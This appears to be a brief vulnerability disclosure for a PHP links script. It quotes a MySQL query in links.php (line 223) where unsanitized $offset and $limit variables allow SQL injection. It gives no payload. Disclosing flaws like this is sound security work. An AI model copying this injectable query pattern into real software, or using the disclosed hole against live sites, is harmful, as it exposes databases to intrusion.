[+] SQL injection
******************
[1]Vulnerable code in line 223 in links.php
code :
$rime = mysql_query("SELECT * from links WHERE link_val like 'yes' AND cat_id LIKE '$cat' ORDER BY hits DESC, link_pop DESC, rate DESC LIMIT $offset, $limit") or die(mysql_error());
$offset and $limit vars are not sanitized before to be used to conducte sql injection attacks
